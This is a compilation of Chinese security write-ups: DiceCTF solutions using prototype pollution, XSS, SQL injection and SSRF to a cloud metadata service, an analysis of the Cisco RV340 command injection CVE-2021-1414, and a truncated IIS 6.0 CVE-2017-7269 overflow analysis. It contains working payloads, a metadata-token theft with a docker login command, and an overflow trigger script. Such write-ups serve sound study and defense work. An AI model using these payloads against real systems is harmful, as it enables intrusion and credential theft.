if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
const displayWidgets = async () => {
const userWidgets = await (await fetch('/panel/widgets', {method: 'post', credentials: 'same-origin'})).json();
let toDisplayWidgets = {'welcome back to build a panel!': {'type': 'welcome'}};
safeDeepMerge(toDisplayWidgets, userWidgets);
const timeData = await (await fetch('/status/time')).json();
const weatherData = await (await fetch('/status/weather')).json();
const welcomeData = await (await fetch('/status/welcome')).json();
const widgetData = {'time': timeData['data'], 'weather': weatherData['data'], 'welcome': welcomeData['data']};
const widgetPanel = document.getElementById('widget-panel');
for(let name of Object.keys(toDisplayWidgets)){
const widgetType = toDisplayWidgets[name]['type'];
const panel = document.createElement('div');
panel.className = 'panel panel-default';
const panelTitle = document.createElement('h5');
panelTitle.className = 'panel-heading';
panelTitle.textContent = name;
const panelData = document.createElement('p');
panelData.className = 'panel-body';
if(widgetData[widgetType]){
panelData.textContent = widgetData[widgetType];
}else{
panelData.textContent = 'The widget type does not exist, make sure you spelled it right.';
}
panel.appendChild(panelTitle);
panel.appendChild(panelData);
widgetPanel.appendChild(panel);
}
};
window.onload = (_event) => {
displayWidgets();
};
很明显的原型链污染绕过，但是我们目前还不知道污染什么，我们再看回 panel 界面，发现有一行比较突兀的代码：
<script src="https://cdn.embedly.com/widgets/platform.js"></script>
随便搜搜我们可以在 [Embedly Cards](https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/embedly.md) 找到相关原型链污染的资料：
<script>
Object.prototype.onload = 'alert(1)'
</script>
<blockquote class="reddit-card" data-card-created="1603396221">
<a href="https://www.reddit.com/r/Slackers/comments/c5bfmb/xss_challenge/">XSS Challenge</a>
</blockquote>
<script async src="https://embed.redditmedia.com/widgets/platform.js" charset="UTF-8"></script>
所以我们就可以知道，我们需要污染`onload`属性就能有一个 XSS
了，问题就来到了如果绕过对于`__proto__`关键字的绕过，这里我们可以看到通过`constructor.protoype`来绕过这个限制，例如：
Object.__proto__ === Object.constructor.prototype //true
我们可以做一个简单的测试：
<!DOCTYPE html>
<html lang="en">
<head>
<script>
const mergableTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];
const safeDeepMerge = (target, source) => {
for (const key in source) {
if(!mergableTypes.includes(typeof source[key]) && !mergableTypes.includes(typeof target[key])){
if(key !== '__proto__'){
safeDeepMerge(target[key], source[key]);
}
}else{
target[key] = source[key];
}
}
}
const userWidgets = JSON.parse(`{"constructor": {"prototype": {"onload": "alert(1)"}}}`);
let toDisplayWidgets = {
"welcome back to build a panel!": { type: "welcome" },
};
safeDeepMerge(toDisplayWidgets, userWidgets);
</script>
<script src="https://cdn.embedly.com/widgets/platform.js"></script>
</head>
<blockquote class="reddit-card">
<a href="https://www.reddit.com/r/memes/comments/cg8smk/a_meme_about_blank_pages/"></a>
</blockquote>
</body>
</html>
成功触发弹窗，虽然测试成功了，但是我们仍然还要注意到题目还有 CSP 的存在…
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
res.setHeader("X-Frame-Options", "DENY");
基本上我们不可能直接执行 js 代码，除非在指定的 uri 里面有什么便捷的操作，然而我们再回顾一下怎么之前是获取 flag 的？是让 admin
帮我们执行一个请求而已，并不需要我们弄到 admin 的 cookie
，所以现在又清晰了一点，如果只需要发一个请求，我们是不是可以使用`srcdoc`来帮助我们直接放一个可以做请求的标签就可以了呢？因为我们要请求的 url
也在自己域名内，所以也可以满足 CSP 的要求。所以我们可以弄一个 script 标签，其 src 指向我们
JSON.stringify({
widgetName: 'constructor',
widgetData: JSON.stringify({
prototype: {
srcdoc: `<script src="/admin/debug/add_widget?panelid=foo'%2C(SELECT%20flag%20from%20flag)%2C'%7B%22type%22%3A%22sss%22%7D')%3B--&widgetname=1&widgetdata=1"></script>`
}
})
})
//{"widgetName":"constructor","widgetData":"{\"prototype\":{\"srcdoc\":\"<script src=\\\"/admin/debug/add_widget?panelid=foo'%2C(SELECT%20flag%20from%20flag)%2C'%7B%22type%22%3A%22sss%22%7D')%3B--&widgetname=1&widgetdata=1\\\"></script>\"}}"}
把上述 json 通过 /panel/add 增加到对应 panelId 内容中，然后把 panelId 对应的 URL 发给 admin ，然后到
/panel/widgets 路由带着 cookie 访问即可拿到 flag
## Watermark as a Service
### Description
My new Watermark as a Service (WaaS) startup just started using the cloud.
It’s so cool!
[waas.dicec.tf](https://waas.dicec.tf/)
附件：
const dns = require("dns");
const express = require("express");
const ip = require("ip");
const path = require("path");
const puppeteer = require("puppeteer");
const sharp = require("sharp");
const app = express();
const ALLOWED_PROTOCOLS = ["http:", "https:"];
const BLOCKED_HOSTS = ["metadata.google.internal", "169.254.169.254"];
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname + "/public/index.html"));
});
app.get("/snap", async (req, res) => {
const url = decodeURIComponent(req.query.url);
if (!url) {
res.sendStatus(400);
}
let urlObj;
try {
urlObj = new URL(url);
} catch {
res.sendStatus(400);
}
const hostname = urlObj.hostname;
if (ip.isPrivate(hostname)) {
res.sendStatus(400);
}
if (BLOCKED_HOSTS.some((blockedHost) => hostname.includes(blockedHost))) {
res.sendStatus(400);
}
const protocol = urlObj.protocol;
if (
!ALLOWED_PROTOCOLS.some((allowedProtocol) =>
protocol.includes(allowedProtocol)
)
) {
res.sendStatus(400);
}
dns.resolve4(hostname, function (err, addresses) {
if (err) {
res.sendStatus(400);
}
addresses.forEach(function (address) {
if (address === "169.254.169.254") {
res.sendStatus(400);
}
});
});
const browser = await puppeteer.launch({
args: ["--no-sandbox", "--disable-setuid-sandbox"],
});
try {
const page = await browser.newPage();
await page.goto(url);
const imageBuffer = await page.screenshot();
sharp(imageBuffer)
.composite([{ input: "dicectf.png", gravity: "southeast" }])
.toBuffer()
.then((outputBuffer) => {
res.status(200).contentType("image/png").send(outputBuffer);
});
} catch (error) {
console.error(error);
} finally {
await browser.close();
}
});
app.listen(3000, () => {
console.log("Listening on 3000");
});
console.log(process.env.FLAG);
### Solution
题目意图比较明显，就是需要让我们通过 SSRF 获取 Google Cloud 相关的信息，前面的过滤措施也不是什么新的考点，我们可以通过查找一些 SSRF
绕过姿势找到 302 跳转的绕过形式，我们可以使用 [bit.ly](https://bitly.com/)
提供的短链接服务方便地构造我们的跳转地址，例如我们先按照老规矩，先看看
<http://metadata.google.internal/computeMetadata/v1/instance/> 能不能成功
虽然不能访问，但是至少说明我们已经绕过了之前的一些限制，成功访问到了 Google Cloud 内部的 API
。我们仔细看错误提示，缺少一个`Metadata-Flavor: Google`请求头，我们可以考虑 CRLF 注入什么的，有点类似 BalsnCTF
2020 tpc 的那道题目，可是这里我们并没有找到一个 CRLF 注入点，所以我们需要找其他的方法。
查看其他选手的做法是通过找到了一个 v1beta1 的这么一个 API ，我们可以访问
<http://metadata.google.internal/computeMetadata/v1beta1/instance/?recursive=true>
得到一些信息
我们可以用一些 OCR 服务帮我们识别图片当中的文字：
{"attributes": {"gce-container-declaration":"spec:\n containers: \n - name: waas\n image:
gcr.io/dicegang-waas/waas\n stdin: false\n tty: false\n restartPolicy: Always\n\n# This
container declaration format is not public API and may change without notice. Please\n# use gcloud
command-line tool or Google Cloud Console to run Containers on Google Compute Engine.", “google- logging-enabled":"true"}, "description":"", "disks":
[{"deviceName": "waas", “index":0, “interface”: "SCSI", "mode": "READ_WRITE", "type": "PERSISTENT"}], "guestA
ttributes":{}, "hostname": "waas.us-easti-b.c.dicegang- waas.internal", "id":2549341475975469686, "image" : "projects/cos-cloud/global/images/cos-stable-85- 13310-1209-7", "licenses": [{"id" : "6880041984996540132"}, {"id" :"166739712233658766"},
{"id":"1001010"}], “machineType": "projects/608525903049/machineTypes/e2- micro", “maintenanceEvent": "NONE", “name":"waas", "networkInterfaces":[{"accessConfigs":
[{"externalIp":"35.229.111.15", "type": "ONE_TO_ONE_NAT"}], “dnsServers":
("169.254.169.254"), "forwardedIps":[], "gateway": "10.142.0.1", "ip":"10.142.0.2", "ipAliases":
[], "mac": "42:01: 0a: 8e: 00:02", "mtu": 1460, "network": "projects/608525903049/networks/default", "subnetma
sk":"255.255. 240.0", "targetInstanceIps":[]}], "preempted": "FALSE", "scheduling":
{"automaticRestart": "TRUE", “onHostMaintenance" : "MIGRATE", "preemptible":"FALSE"}, "serviceAccounts":
{"default": {"aliases":["default"], "email": "waas -155@dicegang-waas .iam.gserviceaccount.com", "scopes":
["https: //www.googleapis.com/auth/cloud-platform"]}, "waas -155@dicegang- waas.iam.gserviceaccount.com": {"aliases":["default"], "email": "waas-155@dicegang - waas.iam.gserviceaccount.com", "scopes": ["https: //www.googleapis.com/auth/cloud-platform"]}}, "tags":
["http-server", "https-server"], "zone": "projects/608525903049/zones/us-east1-b"}
从上面的内容我们大概可以看到 Google Cloud 上托管了一个 docker 镜像，位于`gcr.io/dicegang-waas/waas`，我们可以通过以下方式获取到对应的
Token：<http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json>
这里建议找个容易识别的 Token ，因为 OCR 只能做到大部分准确，剩下的还是得自己手动弄一遍，中间有点的圈是零0，字母 l 跟数字 1 得要会区分…
{"access_token":"ya29.c.Ko0B8gfnSKSLRHwb6qsNMrDc7577bpZ-Hl99GNXP6i-YYp1GqZmibofKkJHYQRh8NAVnqTxLl7XNUQI7Zwl6PQJY-FYq5IpVMRfr3KwixAKjxhWchqTleR_3sXtjaIaG64wwW5u6uxwg3WCoBi-NklStqkoytTGAZMtrv4yLDUB3WeUzGqs2uGtMbvuyPbG5", “expires_in":3292, "token_type":"Bearer"}
最后通过这个 token 用 docker 登陆
docker login -u oauth2accesstoken -p "ya29.c.Ko0B8gfnSKSLRHwb6qsNMrDc7577bpZ-Hl99GNXP6i-YYp1GqZmibofKkJHYQRh8NAVnqTxLl7XNUQI7Zwl6PQJY-FYq5IpVMRfr3KwixAKjxhWchqTleR_3sXtjaIaG64wwW5u6uxwg3WCoBi-NklStqkoytTGAZMtrv4yLDUB3WeUzGqs2uGtMbvuyPbG5" gcr.io
直接拉下镜像运行就可以看到打印出来的 flag 了…
因为国内复杂的网络环境，我们最好找个国外的机器做
## Summary
当时比赛的时候并没有弄出来全部题目，只是做了几个，复现的时候也学到了很多，尤其是最后一个题目，看得眼都要瞎了，也倡议大家在弄验证码的时候，不要使用
Oo0Ll1Ii 等容易在字体上产生混淆的字符集生成验证码，会极其反人类，最后还是要膜一下我猫哥，你猫哥永远是你猫哥，其他的就不谈了。 | 社区文章 |
# Cisco命令注入漏洞CVE-2021-1414分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、概述
最近关注了Cisco的一个命令注入漏洞CVE-2021-1414，命令注入之后可导致远程代码执行：
漏洞存在于固件版本低于V1.0.03.21的RV340系列路由器中，当前最新版本V1.0.03.21已修复了此漏洞。RV340系列路由器可为小型企业提供防火墙和高速上网服务。刚好手头有一个RV340路由器，固件版本为V1.0.03.18，为存在漏洞版本，故实地分析测试了一下。
## 2、漏洞分析
从官网分别下载了V1.0.03.18固件：<https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.18>
固件为.img格式，与常见的.bin文件貌似有一些些区别？直接使用7z一路解压，当得到fw.gz时继续解压，最终结果如下：
可得到一个较大的openwrt-comcerto2000-hgw-rootfs-ubi_nand.img文件，由此可知此型号的路由器固件是基于openwrt开发而来？OpenWRT是一个高度模块化、高度自动化的嵌入式Linux系统，拥有强大的网络组件和扩展性，多被用于工控设备、电话、小型机器人、智能家居、路由器以及VOIP设备中。文件系统为ubi，与常见bin格式的Squashfs文件系统相比，Squashfs有更好的压缩性。
使用binwalk对文件openwrt-comcerto2000-hgw-rootfs-ubi_nand.img文件进行分析，最终可得到文件系统中的全部内容：
可知目标平台为：ARM 32位小端。
搜索更多关于CVE-2021-1414信息，发现ZDI对漏洞给出了更多信息：
根据漏洞描述可知：由于JSON-RPC处理set_snmp请求中的USMUserPrivKey字段时存在命令注入，于是在解压的固件文件中寻找与RPC处理相关的文件，定位到rootfs/www/cgi-bin/jsonrpc.cgi文件，使用IDA打开jsonrpc.cgi,定位到处理RPC请求的函数：sub_149FC，函数sub_149FC根据不同的RPC指令进入对应的分支流程：
关键点位于else if ( !strncmp(method, “set_”, 4u)，这里刚好与set_snmp指令的前4个字节匹配：
该分支首先调用sub_12DB4校验请求中的“sessionid”是否合法，如果合法则进入sub_13E2C函数，继续跟进这个函数：
可知此处调用了导出函数jsonrpc_set_config处理set_snmp请求，于是在rootfs根目录使用grep -r
“jsonrpc_set_config” ./ 来定位导出此函数的so文件：
与jsonrpc.cgi依赖的库文件比较确定 jsonrpc_set_config函数是由libjsess.so文件导出的：
使用IDA打开libjsess.so定位到导出函数jsonrpc_set_config，发现函数被动态调用，而我们又无法动态调试此文件，因此无法获取到函数的真实地址。
由于已知问题出在 “USMUserPrivKey”字段，通过搜索字符串最终定位到漏洞函数
setpre_snmp，函数定义与上图中的动态声明相符，同时与漏洞描述的set_snmp也相符。
分析显示：程序最终会调用popen执行被sprintf格式化后的v60字符串，v60的最后一段子字符串来自变量v19，v19来自v44，v44来自json_object_get_string中的参数v52，v52正是usmUserPrivKey字段中的值。此函数在调用popen执行命令前未对usmUserPrivKey中的值进行过滤导致了命令注入。
## 3、漏洞复现
Web登录路由器，进入到SNMP设置界面，并全过程Burp抓包：
开启nc监听：
Brup重放上一步中抓取到的数据包，在usmUserPrivKey字段注入待执行的命令：
执行后，nc成功反弹shell：
## 4、补丁对比
下载修复漏洞之后的固件版本，将存在漏洞的文件和修复漏洞的文件进行对比分析，结果如下：
补丁之前的代码，未校验参数，直接调用popen执行命令：
补丁后的代码，调用popen前使用match_regex正则表达式过滤特殊字符，命令注入漏洞被修复：
参考资料：
[1]
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv34x-rce-8bfG2h6b
[2] https://www.zerodayinitiative.com/advisories/ZDI-21-559/ | 社区文章 |
来源：[玄武实验室](http://xlab.tencent.com/cn/2017/04/18/nsa-iis-vulnerability-analysis/)
作者: **Ke Liu of Tencent’s Xuanwu Lab**
## 1\. 漏洞简介
### 1.1 漏洞简介
2017年3月27日，来自华南理工大学的 Zhiniang Peng 和 Chen Wu 在 GitHub
[[1](https://github.com/edwardz246003/IIS_exploit)] 上公开了一份 IIS 6.0
的漏洞利用代码，并指明其可能于 2016 年 7 月份或 8 月份被用于黑客攻击活动。
该漏洞的编号为 CVE-2017-7269 [[2](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269)]，由恶意的 `PROPFIND` 请求所引起：当 `If` 字段包含形如
`<http://localhost/xxxx>` 的超长URL时，可导致缓冲区溢出（包括栈溢出和堆溢出）。
微软从 2015 年 7 月 14 日开始停止对 Windows Server 2003 的支持，所以这个漏洞也没有官方补丁，0patch
[[3](https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html)] 提供了一个临时的解决方案。
无独有偶，Shadow Brokers 在2017年4月14日公布了一批新的 NSA 黑客工具，笔者分析后确认其中的 **Explodingcan** 便是
CVE-2017-7269 的漏洞利用程序，而且两个 Exploit 的写法如出一辙，有理由认为两者出自同一团队之手：
* 两个 Exploit 的结构基本一致；
* 都将 Payload 数据填充到地址 `0x680312c0`；
* 都基于 `KiFastSystemCall / NtProtectVirtualMemory` 绕过 DEP；
本文以 3 月份公布的 Exploit 为基础，详细分析该漏洞的基本原理和利用技巧。
### 1.2 原理概述
* `CStackBuffer` 既可以将栈设置为存储区（少量数据）、也可以将堆设置为存储区（大量数据）；
* 为 `CStackBuffer` 分配存储空间时，误将 **字符数** 当做 **字节数** 使用，此为漏洞的根本原因；
* 因为栈上存在 `cookie`，不能直接覆盖返回地址；
* 触发溢出时，改写 `CStackBuffer` 对象的内存，使之使用地址 `0x680312c0` 作为存储区；
* 将 Payload 数据填充到 `0x680312c0`；
* 程序存在另一处类似的漏洞，同理溢出后覆盖了栈上的一个指针使之指向 `0x680313c0`；
* `0x680313c0` 将被当做一个对象的起始地址，调用虚函数时将接管控制权；
* 基于 `SharedUserData` 调用 `KiFastSystemCall` 绕过 DEP；
* URL 会从 UTF-8 转为 UNICODE 形式；
* Shellcode 使用 Alphanumeric 形式编码（UNICODE）；
# 2\. 漏洞原理
### 2.1 环境配置
在 Windows Server 2003 R2 Standard Edition SP2 上安装 IIS 并为其启用 **WebDAV** 特性即可。
修改 Exploit 的目标地址，执行后可以看到 `svchost.exe` 启动 `w3wp.exe` 子进程，后者以 `NETWORK SERVICE`
的身份启动了 `calc.exe` 进程 。 
### 2.2 初步调试
首先，为进程 `w3wp.exe` 启用 **PageHeap** 选项；其次，修改 Exploit 的代码，去掉其中的
Shellcode，使之仅发送超长字符串。
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.75.134',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)
执行之后 IIS 服务器上会启动 `w3wp.exe` 进程（并不会崩溃），此时将 WinDbg 附加到该进程并再次执行测试代码，即可在调试器中捕获到
**first chance** 异常，可以得到以下信息：
* 在 `httpext!ScStoragePathFromUrl+0x360` 处复制内存时产生了堆溢出；
* 溢出的内容和大小看起来是可控的；
* 被溢出的堆块在 `httpext!HrCheckIfHeader+0x0000013c` 处分配；
* 崩溃所在位置也是从函数 `httpext!HrCheckIfHeader` 执行过来的；
* 进程带有异常处理，因此不会崩溃；
$$ 捕获 First Chance 异常
0:020> g
(e74.e80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=00000a06 edx=0781e7e0 esi=0781a7e4 edi=07821000
eip=67126fdb esp=03fef330 ebp=03fef798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
httpext!ScStoragePathFromUrl+0x360:
67126fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:006> r ecx
ecx=00000a06
0:006> db esi
0781a7e4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a7f4 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a804 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a814 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a824 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a834 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a844 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0781a854 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
$$ 目标堆块分配调用栈
0:006> !heap -p -a edi
address 07821000 found in
_DPH_HEAP_ROOT @ 7021000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
7023680: 781e7d8 2828 - 781e000 4000
7c83d97a ntdll!RtlAllocateHeap+0x00000e9f
5b7e1a40 staxmem!MpHeapAlloc+0x000000f3
5b7e1308 staxmem!ExchMHeapAlloc+0x00000015
67125df9 httpext!CHeap::Alloc+0x00000017
67125ee1 httpext!ExAlloc+0x00000008
67125462 httpext!HrCheckIfHeader+0x0000013c
6712561e httpext!HrCheckStateHeaders+0x00000010
6711f659 httpext!CPropFindRequest::Execute+0x000000f0
6711f7c5 httpext!DAVPropFind+0x00000047
$$ ......
$$ 调用栈
0:006> k
ChildEBP RetAddr
03fef798 67119469 httpext!ScStoragePathFromUrl+0x360
03fef7ac 67125484 httpext!CMethUtil::ScStoragePathFromUrl+0x18
03fefc34 6712561e httpext!HrCheckIfHeader+0x15e
03fefc44 6711f659 httpext!HrCheckStateHeaders+0x10
03fefc78 6711f7c5 httpext!CPropFindRequest::Execute+0xf0
03fefc90 671296f2 httpext!DAVPropFind+0x47
$$ ......
$$ 异常可以被处理，因此不会崩溃
0:006> g
(e74.e80): C++ EH exception - code e06d7363 (first chance)
### 2.3 CStackBuffer
崩溃所在模块 `httpext.dll` 会多次使用一个名为 `CStackBuffer`
的模板，笔者写了一份类似的代码，以辅助对漏洞原理的理解。为了简单起见，默认存储类型为 `unsigned char`，因此省略了模板参数 `typename
T`。
`CStackBuffer` 的相关特性如下：
* 默认使用栈作为存储空间，大小由模板参数 `SIZE` 决定；
* 通过 `resize` 可以将堆设置为存储空间；
* 通过 `fake_heap_size` 的最低位标识存储空间的类型；
* 通过 `release` 释放存储空间；
* 对象的内存布局依次为：栈存储空间、堆块大小成员、存储空间指针；
`CStackBuffer` 的源码如下：
template<unsigned int SIZE>
class CStackBuffer
{
public:
CStackBuffer(unsigned int size)
{
fake_heap_size = 0;
heap_buffer = NULL;
resize(size);
}
unsigned char* resize(unsigned int size)
{
if (size <= SIZE)
{
size = SIZE;
}
if (fake_heap_size >> 2 < size)
{
if (fake_heap_size & 1 || size > SIZE)
{
release();
heap_buffer = (unsigned char*)malloc(size);
fake_heap_size |= 1;
}
else
{
heap_buffer = buffer;
}
fake_heap_size = (4 * size) | (fake_heap_size & 3);
}
fake_heap_size |= 2;
return heap_buffer;
}
void release()
{
if (fake_heap_size & 1)
{
free(heap_buffer);
heap_buffer = NULL;
}
}
unsigned char* get()
{
return heap_buffer;
}
unsigned int getFakeSize()
{
return fake_heap_size;
}
private:
unsigned char buffer[SIZE];
unsigned int fake_heap_size;
unsigned char* heap_buffer;
};
### 2.4 漏洞调试
根据之前的简单分析，可知 `HrCheckIfHeader` 是一个关键函数，因为：
* 目标堆块是在这个函数中动态分配的；
* 从这里可以执行到触发异常的函数 `ScStoragePathFromUrl`；
函数 `HrCheckIfHeader` 简化后的伪代码如下所示：
int HrCheckIfHeader(CMethUtil *pMethUtil)
{
CStackBuffer<260> buffer1;
LPWSTR lpIfHeader = CRequest::LpwszGetHeader("If", 1);
IFILTER ifilter(lpIfHeader);
LPWSTR lpToken = ifilter->PszNextToken(0);
while (1)
{
// <http://xxxxx>
if (lpToken)
{
CStackBuffer<260> buffer2;
// http://xxxx>
LPWSTR lpHttpUrl = lpToken + 1;
size_t length = wcslen(lpHttpUrl);
if (!buffer2.resize(2*length + 2))
{
buffer2.release();
return 0x8007000E;
}
// 将 URL 规范化后存入 buffer2
// length = wcslen(lpHttpUrl) + 1
// eax = 0
int res = ScCanonicalizePrefixedURL(
lpHttpUrl, buffer2.get(), &length);
if (!res)
{
length = buffer1.getFakeSize() >> 3;
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
if (buffer1.resize(length))
{
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
}
}
}
}
// ......
}
// ......
}
可以看出这里的关键函数为 `CMethUtil::ScStoragePathFromUrl`，该函数会将请求转发给
`ScStoragePathFromUrl`，后者简化后的伪代码如下所示：
typedef struct _HSE_UNICODE_URL_MAPEX_INFO {
WCHAR lpszPath[MAX_PATH];
DWORD dwFlags; // The physical path that the virtual root maps to
DWORD cchMatchingPath;// Number of characters in the physical path
DWORD cchMatchingURL; // Number of characters in the URL
DWORD dwReserved1;
DWORD dwReserved2;
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;
int ScStoragePathFromUrl(
const struct IEcb *iecb,
const wchar_t *buffer2,
wchar_t *buffer1,
unsigned int *length,
struct CVRoot **a5)
{
wchar_t *Str = buffer2;
// 检查是否为 https://locahost:80/path http://localhost/path
// 返回 /path>
int result = iecb->ScStripAndCheckHttpPrefix(&Str);
if (result < 0 || *Str != '/') return 0x80150101;
int v7 = wcslen(Str);
// c:\inetpub\wwwroot\path
// dwFlags = 0x0201
// cchMatchingPath = 0x12
// cchMatchingURL = 0x00
// result = 0
HSE_UNICODE_URL_MAPEX_INFO mapinfo;
result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
int v36 = result;
if (result < 0) return result;
// L"\x00c:\inetpub\wwwroot"
// n == 0
wchar_t *Str1 = NULL;
int n = iecb->CchGetVirtualRootW(&Str1);
if (n == mapinfo.cchMatchingURL)
{
if (!n || Str[n-1] && !_wcsnicmp(Str1, Str, n))
{
goto LABEL_14;
}
}
else if (n + 1 == mapinfo.cchMatchingURL)
{
if (Str[n] == '/' || Str[n] == 0)
{
--mapinfo.cchMatchingURL;
goto LABEL_14;
}
}
v36 = 0x1507F7;
LABEL_14:
if (v36 == 0x1507F7 && a5) // a5 == 0
{
// ......
}
// 0x12
int v16 = mapinfo.cchMatchingPath;
if (mapinfo.cchMatchingPath)
{
// v17 = L"t\aaaaaaaAAA...."
wchar_t *v17 = ((char*)&mapinfo - 2) + 2*v16;
if (*v17 == '\\')
{
// ......
}
else if (!*v17)
{
// ......
}
}
// v7 = wcslen(/path>)
int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
int v19 = *length < v18;
if (v19)
{
*length = v18;
if (a5)
{
// ......
}
result = 1;
}
else
{
int v24 = (2*mapinfo.cchMatchingPath >> 2);
qmemcpy(
buffer1,
mapinfo.lpszPath,
4 * v24);
LOBYTE(v24) = 2*mapinfo.cchMatchingPath;
qmemcpy(
&buffer1[2 * v24],
(char*)mapinfo.lpszPath + 4 * v24,
v24 & 3);
qmemcpy(
&buffer1[mapinfo.cchMatchingPath],
&Str[mapinfo.cchMatchingURL],
2 * (v7 - mapinfo.cchMatchingURL) + 2);
for (wchar_t *p = &buffer1[mapinfo.cchMatchingPath]; *p; p += 2)
{
if (*p == '/') *p = '\\';
}
*length = mapinfo.cchMatchingPath - mapinfo.cchMatchingURL + v7 + 1;
result = v36;
}
return result;
}
函数 `HrCheckIfHeader` 会调用 `ScStoragePathFromUrl` 两次，在第一次调用
`ScStoragePathFromUrl` 时，会执行如下的关键代码：
{
wchar_t *Str = buffer2;
// 返回 /path>
int result = iecb->ScStripAndCheckHttpPrefix(&Str);
int v7 = wcslen(Str);
HSE_UNICODE_URL_MAPEX_INFO mapinfo;
result = iecb->ScReqMapUrlToPathEx(Str, &mapinfo);
// 0x12 L"c:\inetpub\wwwroot"
int v16 = mapinfo.cchMatchingPath;
// v18 = 0x12 - 0 + wcslen('/path>') + 1 = 0x12 + 10249 + 1 = 0x281c
int v18 = v16 - mapinfo.cchMatchingURL + v7 + 1;
int v19 = *length < v18;
if (v19)
{
*length = v18;
if (a5)
{
// ......
}
result = 1;
}
return result;
}
这里得到 `v18` 的值为 `0x281c`，而 `*length` 的值由参数传递，实际由 `CStackBuffer::resize`
计算得到，最终的值为 `0x82`，计算公式为：
fake_heap_size = 0;
size = 260;
fake_heap_size = (4 * size) | (fake_heap_size & 3);
fake_heap_size |= 2;
length = fake_heap_size >> 3;
显然有 `0x82 < 0x281c`，所以函数 `ScStoragePathFromUrl` 将 `*length` 填充为 `0x281c` 并返回
`1`。实际上，这个值代表的是真实物理路径的 **字符个数** 。
0x281c = 0x12 ("c:\inetpub\wwwroot") + 10248 ("/aaa..") + 1 ('>') + 1 ('\0')
在 `HrCheckIfHeader` 第二次调用 `ScStoragePathFromUrl` 之前，将根据 `length` 的值设置
`CStackBuffer` 缓冲区的大小。然而，这里设置的大小是字符个数，并不是字节数，所以第二次调用 `ScStoragePathFromUrl`
时会导致缓冲区溢出。实际上，调用 `CStackBuffer::resize` 的位置就是
`httpext!HrCheckIfHeader+0x0000013c`，也就是堆溢出发生时通过 `!heap -p -a edi` 命令得到的栈帧。
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
if (res == 1)
{
if (buffer1.resize(length)) // httpext!HrCheckIfHeader+0x0000013c
{
res = pMethUtil->ScStoragePathFromUrl(
buffer2.get(), buffer1.get(), &length);
}
}
小结：
* 函数 `ScStoragePathFromUrl` 负责将 URL 请求中的文件路径转换为实际的物理路径，函数的名字也印证了这一猜想；
* 第一次调用此函数时，由于缓冲区大小不够，返回实际物理路径的字符个数；
* 第二次调用此函数之前先调整缓冲区的大小；
* 由于缓冲区的大小设置成了字符个数，而不是字节数，因此导致缓冲区溢出；
* 两次调用同一个 API 很符合微软的风格（第一次得到所需的空间大小，调整缓冲区大小后再次调用）；
## 3\. 漏洞利用
### 3.1 URL 解码
在函数 `HrCheckIfHeader` 中，首先调用 `CRequest::LpwszGetHeader` 来获取 **HTTP**
头中的特定字段的值，该函数简化后的伪代码如下所示：
int CRequest::LpwszGetHeader(const char *tag, int a3)
{
// 查找缓存
int res = CHeaderCache<unsigned short>::LpszGetHeader(
(char *)this + 56, tag);
if (res) return res;
// 获取值
char *pszHeader = this->LpszGetHeader(tag);
if (!pszHeader) return 0;
int nHeaderChars = strlen(pszHeader);
CStackBuffer<tagPROPVARIANT, 64> stackbuffer(64);
if (!stackbuffer.resize(2 * nHeaderChars + 2))
{
// _CxxThrowException(...);
}
// 调用 ScConvertToWide 进行转换
int v11 = nHeaderChars + 1;
char* language = this->LpszGetHeader("Accept-Language");
int v7 = ScConvertToWide(pszHeader, &v11,
stackbuffer.get(), language, a3);
if ( v7 ) // _CxxThrowException(...);
// 设置缓存
res = CHeaderCache<unsigned short>::SetHeader(
tag, stackbuffer.get(), 0);
stackbuffer.release();
return res;
}
可以看出这里通过 `CHeaderCache` 建立缓存机制，此外获取到的值会通过调用 `ScConvertToWide`
